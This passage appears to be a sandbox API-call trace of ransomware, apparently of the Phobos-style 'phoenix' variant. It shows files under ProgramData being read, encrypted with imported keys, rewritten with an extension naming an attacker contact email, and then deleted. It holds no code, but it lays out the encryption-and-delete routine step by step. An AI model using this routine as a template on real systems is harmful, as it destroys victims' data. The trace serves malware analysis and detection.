	[0227.388] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.hash.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.388] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0227.389] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0227.389] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0227.389] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.hash.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0227.389] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151580) returned 1
	[0227.389] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0227.389] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x80, lpOverlapped=0x0) returned 1
	[0227.390] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90, dwBufLen=0x90 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x90) returned 1
	[0227.390] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x90, lpOverlapped=0x0) returned 1
	[0227.392] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151200) returned 1
	[0227.392] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0227.392] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0227.392] CryptDestroyKey (hKey=0x151200) returned 1
	[0227.392] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0227.392] CryptDestroyKey (hKey=0x151580) returned 1
	[0227.392] CloseHandle (hObject=0x2d8) returned 1
	[0227.392] CloseHandle (hObject=0x2d4) returned 1
	[0227.396] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.hash" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.hash")) returned 1
	[0227.397] SetEvent (hEvent=0x278) returned 1
	[0227.397] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0227.397] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\airspace.etw.man"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0227.397] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=282147) returned 1
	[0227.397] CloseHandle (hObject=0x2d4) returned 1
	[0227.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\airspace.etw.man")) returned 0x20
	[0227.398] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\airspace.etw.man.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0227.398] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\airspace.etw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0227.398] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0227.398] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0227.398] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\airspace.etw.man.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0227.398] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151180) returned 1
	[0227.398] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0227.398] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x44e23, lpOverlapped=0x0) returned 1
	[0227.940] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x44e30, dwBufLen=0x44e30 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x44e30) returned 1
	[0227.941] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x44e30, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x44e30, lpOverlapped=0x0) returned 1
	[0227.989] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151440) returned 1
	[0227.989] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0227.989] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0227.989] CryptDestroyKey (hKey=0x151440) returned 1
	[0227.989] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0227.989] CryptDestroyKey (hKey=0x151180) returned 1
	[0227.989] CloseHandle (hObject=0x2d4) returned 1
	[0227.989] CloseHandle (hObject=0x2d8) returned 1
	[0227.997] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\airspace.etw.man")) returned 1
	[0228.000] SetEvent (hEvent=0x278) returned 1
	[0228.000] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0228.000] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\msoutilstat.etw.man"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0228.001] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=112678) returned 1
	[0228.001] CloseHandle (hObject=0x2d8) returned 1
	[0228.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\msoutilstat.etw.man")) returned 0x20
	[0228.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\msoutilstat.etw.man.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.002] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\msoutilstat.etw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0228.002] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0228.002] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0228.002] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\msoutilstat.etw.man.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0228.002] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151740) returned 1
	[0228.002] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0228.002] ReadFile (in: hFile=0x2d8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x1b826, lpOverlapped=0x0) returned 1
	[0228.096] CryptEncrypt (in: hKey=0x151740, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1b830, dwBufLen=0x1b830 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x1b830) returned 1
	[0228.096] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x1b830, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x1b830, lpOverlapped=0x0) returned 1
	[0228.099] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151580) returned 1
	[0228.099] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0228.099] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50, dwBufLen=0x50 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x50) returned 1
	[0228.099] CryptDestroyKey (hKey=0x151580) returned 1
	[0228.099] WriteFile (in: hFile=0x2d4, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x102, lpOverlapped=0x0) returned 1
	[0228.099] CryptDestroyKey (hKey=0x151740) returned 1
	[0228.099] CloseHandle (hObject=0x2d8) returned 1
	[0228.100] CloseHandle (hObject=0x2d4) returned 1
	[0228.102] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\msoutilstat.etw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\msoutilstat.etw.man")) returned 1
	[0228.103] SetEvent (hEvent=0x278) returned 1
	[0228.103] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0228.103] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\wordetw.man"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0228.105] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=638429) returned 1
	[0228.105] CloseHandle (hObject=0x2d4) returned 1
	[0228.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\wordetw.man")) returned 0x20
	[0228.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\wordetw.man.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.105] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\wordetw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0228.105] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0228.105] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0228.105] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\wordetw.man.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8
	[0228.106] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151180) returned 1
	[0228.106] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0228.106] ReadFile (in: hFile=0x2d4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x9bddd, lpOverlapped=0x0) returned 1
	[0228.171] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x9bde0, dwBufLen=0x9bde0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x9bde0) returned 1
	[0228.172] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x9bde0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x9bde0, lpOverlapped=0x0) returned 1
	[0228.183] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151400) returned 1
	[0228.183] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0228.183] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40, dwBufLen=0x40 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x40) returned 1
	[0228.183] CryptDestroyKey (hKey=0x151400) returned 1
	[0228.183] WriteFile (in: hFile=0x2d8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0xf2, lpOverlapped=0x0) returned 1
	[0228.183] CryptDestroyKey (hKey=0x151180) returned 1
	[0228.183] CloseHandle (hObject=0x2d4) returned 1
	[0228.184] CloseHandle (hObject=0x2d8) returned 1
	[0228.221] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\wordetw.man")) returned 1
	[0228.227] SetEvent (hEvent=0x278) returned 1
	[0228.330] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0228.330] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\machinekeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0228.331] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=2225) returned 1
	[0228.331] CloseHandle (hObject=0x2e4) returned 1
	[0228.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\machinekeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267")) returned 0x24
	[0228.331] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\machinekeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.331] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\machinekeys\\f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0228.331] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0228.331] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0228.341] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=56) returned 1
	[0228.341] CloseHandle (hObject=0x2e4) returned 1
	[0228.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71")) returned 0x24
	[0228.341] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0228.341] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0228.341] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0228.341] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0228.341] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0228.343] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151400) returned 1
	[0228.343] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0228.343] ReadFile (in: hFile=0x2e4, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x38, lpOverlapped=0x0) returned 1
